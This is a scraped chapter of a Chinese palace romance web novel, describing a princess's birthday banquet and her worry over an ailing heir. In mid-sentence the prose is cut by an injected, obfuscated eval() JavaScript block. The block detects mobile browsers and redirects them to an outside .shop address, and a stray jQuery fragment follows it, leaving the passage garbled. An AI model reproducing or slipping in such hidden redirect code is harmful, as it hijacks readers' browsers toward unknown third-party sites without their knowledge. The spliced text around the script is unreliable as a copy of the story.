文趣网 > 其他小说 > 病弱世子娇养手札 > 22. 转机
    裴昭宁忽然发现,自己的婚事好像有了转机。

    前些日子还在找钦天监看日子的明德帝不再在她面前提起殷时,温贵妃那儿似乎也没了动静。

    裴昭宁一颗心顿时放下不少。

    虽然明德帝还是没有松口要取消这门亲事。

    但裴昭宁已经在打算,再过些日子,便要试着同明德帝提一提,自己还是想和殷珩在一起的事。

    殷珩近来差事似乎也办得不错,裴昭宁听明德帝夸过两次。

    京中女子失踪的案子似乎又有了些眉目,他也忙得很,二人许久没见面,传信也少了许多。

    裴昭宁有些忧心他的身子,不过近来林太医也很是神出鬼没,少有几次被裴昭宁叫来,也只说殷珩身子无碍,许久不曾叫他去府上。

    不过裴昭宁还是让他有空闲时去看看殷珩,又叫他带了信和给寒酥做的衣裳去。

    日子过得还算顺心,便格外的快。

    转眼就到了裴昭宁生辰。

    她生日虽挨着年关,明德帝却还是很重视。

    裴昭宁也很期待,笑嘻嘻问明德帝:“皇伯伯先前说要给我的贺礼是什么呀,现在可以告诉我了吗?”

    那东西现在还真不好给她了。

    明德帝心想着。

    才给她和殷时赐下婚事的时候,宁国公特意来求过他,他说次子体弱,性情顽劣,当不起世子之位,想改立长子为世子。

    殷珩的世子之位,是当年老国公上求的。

    世子若无大错,自然不会轻易废去。

    但明德帝自然想给自家人更好的,听宁国公这般说便也起了些心思。

    思来想去,便打算在裴昭宁生辰这日,允了宁国公所求,也好叫裴昭宁高兴几分。

    如今裴昭宁既不大情愿同殷时成婚了,这世子之位给了殷时,怕是反倒要叫她不高兴。

    再说殷珩这孩子近来做事也颇得他心,明德帝便又改了主意。

    贺礼另为裴昭宁选了进贡的蜀锦,还有京郊的温泉别院与良田。

    虽很是丰厚,却也不像是会瞒着她这么久的。

    裴昭宁眨眨眼。

    明德帝并未与她多说,只道:“行了,早些回去歇息吧,明日你们年轻人也多在一起说说话。”

    第二日一早,裴昭宁一起身,清荷便领着众人齐齐与她道贺,笑盈盈的送上贺礼。

    都是他们亲手做的,裴昭宁欢喜接过。

    清荷轻轻推了推身边的姑娘——

    这正是栗婉,如今进了宫,便也随了裴昭宁宫中的姑娘们,改了名做清婉。

    她脸颊微微泛红,递上一盒胭脂:“郡主,这是奴婢和阿娘做的。”

    裴昭宁笑着接过,打开一瞧,颜色很是漂亮,他们母女在京中的胭脂铺能开上许多年,手艺自然是很好。

    听闻栗婉的阿娘进了尚服局,颇受看重。

    裴昭宁也替她们高兴。

    又赏了东西下去,便叫人进来梳妆。

    衣裳是前两日才做好送来的,粉色方领对襟短袄,搭着同色马面裙,日光洒落进来前,裙摆间仿佛有金光流转。

    颈间珍珠璎珞也泛着柔和光泽。

    头面正是昨日明德帝赏下的那套。

    裴昭宁在铜镜前转了一圈儿。

    “好看吗?”

    清荷抿唇笑起来:“再没有比郡主更好看的了。”

    裴昭宁欣然点头:“我也觉得我今日这身格外诚心,去尚衣局问问,谁做的衣裳,通通都有赏。”

    外边的雪也化了不少。

    她心情格外好。

    虽是家宴,明德帝却也会叫些亲近的朝臣进宫,往年殷珩都是在的。

    今年出了她与殷时的婚事,到底有些委屈了他,裴昭宁怕他多想,昨日特意去信一封,嘱咐他千万要来。

    她许久未见他,心中自然想念,便是能看上一眼也好。

    不过等着宁国公府的人都进了宫,裴昭宁却没瞧见殷珩的身影,脸上的笑容顿时垮了些,尤其是对上殷时的目光,她暗中翻了个白眼。

    正想着问问老夫人。

    一直跟在裴昭宁身边的小皇孙裴宜之先开了口:“殷珩怎么没来?”

    他五岁多,正是最惹人喜欢的时候。

    养得胖嘟嘟的,今日乳母又给他穿了身红色的圆领小袍子,看起来和年画娃娃似的。

    这会儿皱着鼻子,很是失落的模样。

    因着裴昭宁的缘故,他小时候被殷珩带着玩过几次。

    殷珩在玩乐上格外精通,小皇孙人小见识少,被迷得不行。

    前两日还悄悄问裴昭宁,能不能带他出宫去,他想要殷珩教他打陀螺,他身边的人都没殷珩厉害。

    裴昭宁弯下腰,摸摸他的脸蛋,便看向殷老夫人。

    殷老夫人身边的李氏温声解释道:“世子爷这两日身子有些不适,不好进宫来,还请郡主与小殿下恕罪。”

    周边的人都听得出这是借口。

    从前都以为长乐郡主定会择宁国公世子为婿,不曾想最后却选了他庶出的兄长,此事实在尴尬,也是小皇孙年幼无知,在这般场合提起他来,说什么病了,怕也只是推辞之言。

    裴昭宁却当真有些担忧。

    他身子本来就不大好,从前稍累着些就免不了一场大病,这次日子忙得脚不沾地,难免不适。

    裴宜之也担心道:“他病得厉害吗?太医可有看过?”

    李氏正要开口,却听见殷姝笑起来:“我这弟弟呀向来娇气,平日被风扑一下都要喊难受,殿下不必太过担忧。”

    李氏微微皱眉,殷老夫人也看了她一眼,原想说什么,可到底在宫中,平王妃亦在,到底给她留了几分颜面。

    裴昭宁却没想惯着她,正要说话,忽而听见小太监通传:“郡主,小殿下,三皇子与宁国公世子来了。”

    他二人怎会在一处?

    裴昭宁来不及去想,她一眼看见从廊下走来的身影。

    心头顿时一跳。

    日光从廊檐的缝隙间漏下来,落在他脸上。

    她上次见他已是极为消瘦,如今却近乎形销骨立,连衣裳都撑不大住,行走间,墨色大氅被风卷起,露出一截极为细瘦的腰身。

    冬日的衣裳这般厚,都掩不住的病骨支离。

    他不是说他还好吗…

    怎么会成这样?

    裴昭宁心头只剩下这个念头,恨不得立刻攥住那人,问问他到底是怎么回事?

    “姑姑?”

    裴宜之疑惑的声音拉回了她的意识。

    迈出去的脚步又收了回来。

    殷珩终于走到了她身前,还未等裴昭宁看清他的脸,他便已缓缓拜下。

    “臣恭贺郡主生辰之喜。”

    裴昭宁喉头发

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663746|206370||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    紧:“起来吧。”

    空青献上贺礼,清荷忙接过。

    “别只顾着这儿呀,我可也给你挑了好东西,南海珍珠,我记得你就喜欢这些。”

    裴璟含笑的话令裴昭宁不得不收回自己的目光,看向他微微福身:“三皇兄。”

    裴璟还了一礼:“今日你生辰,我本该早些来的,不巧,方才有些事耽搁了些。”

    “正事要紧,再说宴席未开始,算不得耽搁。”

    裴昭宁与他寒暄了几句,侍从便请他二人入了座。

    宁国公远远看见,脸色微有些难看,等殷珩在他下首落座后,不由压低了声音呵斥道:“不是说了,让你不要来吗?”

    殷珩并未说话。

    宁国公被他无视,脸色愈发阴沉,裴宜之却不知从哪儿过来的。

    “殷珩。”

    殷珩笑了笑:“是小殿下呀。”

    眼看二人说上了话,宁国公只好将怒气忍了回去。

    这混帐,自从搬出府去,愈发不将他放在眼中了。

    宁国公原有的几分愧疚都散了,等裴宜之走了才冷声警告他道:“我告诉你,等会儿不管发生什么事,你都给我老实待着,要是敢闹出事来,便是你祖母也护不住你。”

    殷珩端起茶杯。

    温热的清茶勉强驱散了喉间涌出的几分腥甜。

    他听见了宁国公的话,却觉得好似隔着层雾气,连反驳的心力都提不起。

    今日…本也不打算来的。

    他昨日揽镜自照,看见镜中人模样,病容憔悴难以入目,实在叫人厌烦。

    去了生辰宴,反倒平添晦气,难免惹得裴昭宁心烦着急。

    说不定还要被她厌倦。

    只是昨夜他收到裴昭宁的来信。

    她语气轻快,她说往年生辰他们都在一起,这次也想他在。

    辗转半夜未曾睡下,看见窗外渐亮的光。

    他头疼欲裂,一颗心仿佛在被不断拉扯着,最后仍是抵不过心中所想,命人梳洗进宫,这才晚了些。

    这会儿却也觉得后悔,到底还是坏了她的好事。

    “陛下到——”

    “太子到——”

    众人齐齐起身行礼,殷珩撑着桌沿,膝盖刺痛难忍,略有些晕眩。

    喉间又泛起了几分痒意,他坐下后,欲以温茶压下,入口时尝到几分辛辣,才发现自己竟然拿错了酒杯。

    他愣了下。

    却在这时对上了裴昭宁担忧的目光。

    他指尖微颤了下,轻轻垂下眼。

    裴昭宁收回目光,咬了咬唇。

    她看着殷珩的脸色似乎还好,但心中还是不安。

    总觉他有些不对劲。

    只是明德帝就在上首,她不好再看去,低头吃着碗中的菜,味同嚼蜡。

    午宴结束后,裴昭宁与各家公子小姐去了御花园。

    温贵妃命人安排了投壶射箭,还有猜谜的游戏。

    裴昭宁心不在焉,再次射歪了靶子。

    裴璟笑道:“我看你近日懈怠不少,再这般下去,怕是连老四都不如了。”

    被他调侃的四皇子半点儿不快都没有,好脾气道:“长乐妹妹还是还比我强上几分。”

    裴璟示意宫人将弓给他,闻言道:“倒也是,你那点功夫实在丢人。”

    咻——

    一箭正中靶心。